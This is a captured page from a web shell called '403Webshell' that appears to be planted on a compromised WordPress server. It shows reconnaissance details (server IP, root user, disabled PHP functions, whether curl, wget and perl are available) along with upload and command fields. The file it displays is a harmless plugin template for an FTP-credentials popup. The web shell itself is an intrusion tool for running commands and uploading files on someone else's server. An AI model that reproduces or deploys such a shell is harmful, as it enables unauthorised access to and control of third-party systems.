403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/wpmudev-updates/template/sui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/wpmudev-updates/template/sui/popup-ftp-details.php
<?php
/**
 * Dashboard popup template: Ask for FTP credentials before updating/installing.
 *
 * This is only loaded if direct FS access is not possible.
 *
 */

$ftp_host = preg_replace(
	'/www\./',
	'',
	wp_parse_url( admin_url(), PHP_URL_HOST )
);

$credentials             = get_option(
	'ftp_credentials',
	array(
		'hostname' => '',
		'username' => '',
	) );

$credentials['hostname'] = defined( 'FTP_HOST' ) ? FTP_HOST : $credentials['hostname'];
$credentials['username'] = defined( 'FTP_USER' ) ? FTP_USER : $credentials['username'];
$hostname                = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
$username                = isset( $credentials['username'] ) ? $credentials['username'] : '';
?>
<div class="sui-modal sui-modal-lg">
	<div
	role="dialog"
	id="ftp-details"
	class="sui-modal-content sui-content-fade-in"
	aria-modal="true"
	aria-labelledby="ftpdialogTitle"
	aria-describedby="ftpdialogDescription">
		<div class="sui-box">
			<div class="sui-box-header">
				<button class="sui-button-icon plugin-modal-close sui-button-float--right" data-modal-close="" >
					<i class="sui-icon-close sui-md" aria-hidden="true"></i>
					<span class="sui-screen-reader-text"><?php esc_html_e( 'Close this dialog.', 'wpmudev' ); ?></span>
				</button>
				<h3 class="sui-box-title" id="ftpdialogTitle"><?php esc_html_e( 'We need your help, boss!', 'wpmudev' ); ?></h3>
			</div>
			<form>
				<div class="sui-box-body">
					<p id="ftpdialogDescription">
						<?php esc_html_e( 'Hang on a minute... It looks like your WordPress site isn\'t configured to allow one-click installations of plugins and themes. But don\'t worry! You can still install this plugin by entering your server\'s FTP credentials here:',
						                  'wpmudev' ); ?>
					</p>

					<div class="sui-notice sui-notice-error" style="display: none">
						<p><?php esc_html_e( 'Failed to save credentials', 'wpmudev' ); ?></p>
					</div>
					<div class="sui-notice sui-notice-success" style="display: none">
						<p><?php esc_html_e( 'Credential saved', 'wpmudev' ); ?></p>
					</div>

					<div class="sui-row">
						<div class="sui-col-md-12">
							<div class="sui-form-field">
								<label for="ftp_user" class="sui-label"><?php esc_html_e( 'FTP Username', 'wpmudev' ); ?></label>
								<input
										type="text"
										id="ftp_user"
									<?php if ( defined( 'FTP_USER' ) ) : ?>
										readonly="readonly"
										value="<?php echo esc_attr( FTP_USER ); ?>"
									<?php else : ?>
										value="<?php echo esc_attr( $username ); ?>"
									<?php endif; ?>
										placeholder="username..."
										class="sui-form-control"/>
							</div>
							<div class="sui-form-field">
								<label for="ftp_pass" class="sui-label"><?php esc_html_e( 'FTP Password', 'wpmudev' ); ?></label>
								<input
										type="password"
										id="ftp_pass"
									<?php if ( defined( 'FTP_PASS' ) ) : ?>
										readonly="readonly"
										value="<stored>"
									<?php else : ?>
										value=""
									<?php endif; ?>
										placeholder="*****"
										class="sui-form-control"/>
							</div>
							<label for="ftp_host" class="sui-label"><?php esc_html_e( 'FTP Host', 'wpmudev' ); ?></label>
							<input
									type="text"
									id="ftp_host"
								<?php if ( defined( 'FTP_HOST' ) ) : ?>
									readonly="readonly"
									value="<?php echo esc_attr( FTP_HOST ); ?>"
								<?php else : ?>
									value="<?php echo esc_attr( $hostname ); ?>"
								<?php endif; ?>
									placeholder="e.g. <?php echo esc_attr( $ftp_host ); ?>"
									class="sui-form-control"/>
						</div>
					</div>

				</div>
				<div class="sui-box-footer">
					<div class="sui-row">
						<div class="sui-col-md-12">
							<p>
								<?php
								printf(
									__( 'Or you can %senable one-click installations%s on this site by adding the following details to <code>wp-config.php</code>:', 'wpmudev' ),
									'<a href="https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants" target="_blank">',
									'</a>'
								);
								?>
							</p>
							<pre class="sui-code-snippet sui-no-copy">
define( 'FTP_USER', '<em>your FTP username</em>' );<br/>
define( 'FTP_PASS', '<em>your FTP password</em>' );<br/>
define( 'FTP_HOST', '<?php echo esc_html( $ftp_host ); ?>' );
							</pre>
							<p><?php esc_html_e( 'We will remember these details for 15 minutes in case you want to install or, update something else.', 'wpmudev' ); ?></p>
						</div>
					</div>
				</div>
				<div class="sui-box-footer">
					<input type="hidden" name="hash" value="<?php echo esc_attr( wp_create_nonce( 'credentials' ) ); ?>"/>
					<div class="sui-flex-child-right">
						<a href="#" class="sui-button plugin-modal-close"><?php esc_html_e( 'Cancel', 'wpmudev' ); ?></a>
						<button class="sui-button sui-button-blue ftp-submit">
							<span class="sui-loading-text">
							<?php esc_html_e( 'Okay, continue!', 'wpmudev' ); ?>
							</span>
							<i class="sui-icon-loader sui-loading" aria-hidden="true"></i>
						</button>
					</div>
				</div>
			</form>
		</div>
	</div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit